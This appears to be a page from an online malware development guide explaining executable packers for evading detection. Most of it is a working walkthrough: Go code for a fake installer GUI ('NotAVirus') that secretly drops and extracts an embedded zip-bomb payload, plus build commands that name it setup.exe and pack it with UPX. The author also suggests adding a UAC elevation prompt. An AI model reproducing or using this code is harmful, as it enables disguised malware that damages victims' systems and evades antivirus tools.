# Malware Packers

<https://upx.github.io/>Until now, we've used `python` as the primary programming language without realizing that... *There's a chance the target system won't have python installed on it.* Plus, the scripts won't be executable. Yeah sure, you can add the good 'ol shebang at the top:

```python
#!/bin/env python3
```

But that won't be good enough even if the target has python installed. Can you guess why? Well, *the program will still be written in python and the victim can **read through it and probably determine that it's malicious.*** That's where packers are helpful. You can pack an executable with one of those so as to avoid detection. Python scripts themselves can be "converted" to executables using tools like: `pyinstaller` or `py2exe`. But those aren't considered *packers.*&#x20;

According to an excellent article on [**cerbersec**](https://cerbersec.com/2021/03/12/malware-packers.html)**:**&#x20;

> A packer is software used to protect other software, by means of encryption, obfuscation, compression, virtualization, and so on.

There are 3 main categories of packers, each with a different level of unpacking difficulty.

1. Free packers
   * easy to unpack
   * commonly used
   * examples: [UPX](https://upx.github.io/), nPack, PolyCryptor, [MPRESS](https://www.autohotkey.com/mpress/mpress_web.htm), [theArk](https://github.com/aaaddress1/theArk)
2. Malware packers
   * medium unpack difficulty
   * regularly used
   * examples: [Warzone Crypter](https://warzone.ws/crypter.html), Yakuza Crypter, Atilla Crypter, Aspire Crypt, [Spartan Crypter](https://www.silentexploits.com/spartan-crypter/), [Amber](https://github.com/EgeBalci/amber)
3. Commercial packers - difficult to unpack
   * difficult to unpack
   * rarely used
   * examples: [VMProtect](https://vmpsoft.com/), [Themida](https://www.oreans.com/themida.php), [Obsidium](https://www.obsidium.de/home), Armadillo, [ASPack](http://aspack.com/), [PELock](https://www.pelock.com/)

Also, here's a *very* good repo that has **a lot** of content on packing:

{% embed url="<https://github.com/packing-box/awesome-executable-packing>" %}

I'll take one or two examples from each of the above and showcase the packing process. First in the line is UPX:

## Packing Malware With UPX

Let's first get some simple "*malware"* to pack...

First, we need a payload. Let's take a zip bomb (see [zip-bombs](https://arachn3.gitbook.io/malware-development-guide/basic-malware/zip-bombs "mention")):

```shell-session
$ # NOTE: Make necessary changes in the zipbomb.go file
$ ./payloadgen.bash 10000 40
$ go-bindata -o payload.go payload_40.zip
$ # Save this for later...
```

Now, let's write a program that can cover this up. For this example, I've kindly *yoinked* some code from the [walk](https://github.com/lxn/walk) project over at github...

```go
// Copyright 2017 The Walk Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// This example demonstrates the status bar, including a size gripper
// attached to the bottom of the main window.
// The status bar has two items, one is dynamically updated and one includes an icon.
package main

import (
	"log"

	"github.com/lxn/walk"
	. "github.com/lxn/walk/declarative"
)

func main() {
	icon1, err := walk.NewIconFromFile("../img/check.ico")
	if err != nil {
		log.Fatal(err)
	}
	icon2, err := walk.NewIconFromFile("../img/stop.ico")
	if err != nil {
		log.Fatal(err)
	}

	var sbi *walk.StatusBarItem

	MainWindow{
		Title:   "Walk Statusbar Example",
		MinSize: Size{600, 200},
		Layout:  VBox{MarginsZero: true},
		StatusBarItems: []StatusBarItem{
			StatusBarItem{
				AssignTo: &sbi,
				Icon:     icon1,
				Text:     "click",
				Width:    80,
				OnClicked: func() {
					if sbi.Text() == "click" {
						sbi.SetText("again")
						sbi.SetIcon(icon2)
					} else {
						sbi.SetText("click")
						sbi.SetIcon(icon1)
					}
				},
			},
			StatusBarItem{
				Text:        "left",
				ToolTipText: "no tooltip for me",
			},
			StatusBarItem{
				Text: "\tcenter",
			},
			StatusBarItem{
				Text: "\t\tright",
			},
			StatusBarItem{
				Icon:        icon1,
				ToolTipText: "An icon with a tooltip",
			},
		},
	}.Run()
}
```

We'll of course need to modify this to make it plant and set off the payload:

```go
package main

import (
        "archive/zip"
        "fmt"
        "io"
        "log"
        "os"
        "path/filepath"
        "strings"
        "sync"

        "github.com/lxn/walk"
        . "github.com/lxn/walk/declarative"
)

func main() {
        iterations := 2
        var wg sync.WaitGroup

        placePayload()
        go progressBar()

        for i := 0; i < iterations; i++ {
                wg.Add(1)
                go unzipFile("payload.zip", fmt.Sprintf("%s_%d", "output", i), &wg)
        }
        wg.Wait()
}

func unzipFile(src, dst string, wg *sync.WaitGroup) {
        defer wg.Done()
        archive, err := zip.OpenReader(src)

        if err != nil {
                panic(err)
        }

        defer archive.Close()

        for _, f := range archive.File {
                filePath := filepath.Join(dst, f.Name)
                fmt.Println("unzipping file ", filePath)

                if !strings.HasPrefix(filePath, filepath.Clean(dst)+string(os.PathSeparator)) {
                        return
                }
                if f.FileInfo().IsDir() {
                        os.MkdirAll(filePath, os.ModePerm)
                        continue
                }

                if err := os.MkdirAll(filepath.Dir(filePath), os.ModePerm); err != nil {
                        panic(err)
                }

                dstFile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
                if err != nil {
                        panic(err)
                }

                fileInArchive, err := f.Open()
                if err != nil {
                        panic(err)
                }

                if _, err := io.Copy(dstFile, fileInArchive); err != nil {
                        panic(err)
                }

                dstFile.Close()
                fileInArchive.Close()
        }

}

func placePayload() {
        payload_500Zip, err := payload_40ZipBytes()
        if err != nil {
                panic(err)
        }

        payloadFile, err := os.Create("payload.zip")
        if err != nil {
                panic(err)
        }

        defer payloadFile.Close()

        _, err = payloadFile.Write(payload_500Zip)
        if err != nil {
                panic(err)
        }
}

func progressBar() {
        icon1, err := walk.NewIconFromFile("./img/check.ico")
        if err != nil {
                log.Fatal(err)
        }
        icon2, err := walk.NewIconFromFile("./img/stop.ico")
        if err != nil {
                log.Fatal(err)
        }

        var sbi *walk.StatusBarItem

        MainWindow{
                Title:   "NotAVirus v6.9420",
                MinSize: Size{600, 200},
                Layout:  VBox{MarginsZero: true},
                StatusBarItems: []StatusBarItem{
                        StatusBarItem{
                                AssignTo: &sbi,
                                Icon:     icon1,
                                Text:     "Install Program",
                                Width:    80,
                                OnClicked: func() {
                                        if sbi.Text() == "click" {
                                                sbi.SetText("again")
                                                sbi.SetIcon(icon2)
                                        } else {
                                                sbi.SetText("click")
                                                sbi.SetIcon(icon1)
                                        }
                                },
                        },
                        StatusBarItem{
                                Text:        "left",
                                ToolTipText: "no tooltip for me",
                        },
                        StatusBarItem{
                                Text: "\tcenter",
                        },
                        StatusBarItem{
                                Text: "\t\tright",
                        },
                        StatusBarItem{
                                Icon:        icon1,
                                ToolTipText: "An icon with a tooltip",
                        },
                },
        }.Run()
}
```

**NOTE**: There's also a manifest file for the example that I took from the `walk` project, so be sure to get that as well, no need to change it much.

Now, we build the project:

```shell-session
$ go install github.com/akavel/rsrc
$ $GOBIN/rsrc -manifest statusbar.exe.manifest -o rsrc.syso
$ 
$ GOOS=windows go build -ldflags="-H windowsgui" zipbomb.go payload.go
$ mv zipbomb.exe setup.exe
```

Also, it'll also be a good idea to bake in a nice ol' UAC request. Refer to [this post on SO](https://stackoverflow.com/questions/26068139/request-uac-elevation-in-go).

Now that we have our payload ready, we can pack this sucker with UPX:

```shell-session
$ upx --best -f -o notavirus.exe setup.exe
```

I'd love to write sections on other malware and commercial packers, but unfortunately, I'm broke. So if you wanna add a section on those, please feel free to do so by making a PR.

### References

* <https://keiran.scot/2021/07/04/executing-windows-shellcode-in-go/>
* <https://www.infosecmatter.com/metasploit-module-library/?mm=payload/windows/x64/messagebox>
* <https://github.com/brimstone/go-shellcode>
* <https://malwaretips.com/threads/malware-analysis-6-understanding-packers-and-detecting-a-packed-file.42356/>
* <https://infosecwriteups.com/how-to-unpack-upx-packed-malware-with-a-single-breakpoint-4d3a23e21332>
* <https://dzone.com/articles/packers-how-they-work-featuring-upx>
* <https://kindredsec.wordpress.com/2020/01/07/the-basics-of-packed-malware-manually-unpacking-upx-executables/>
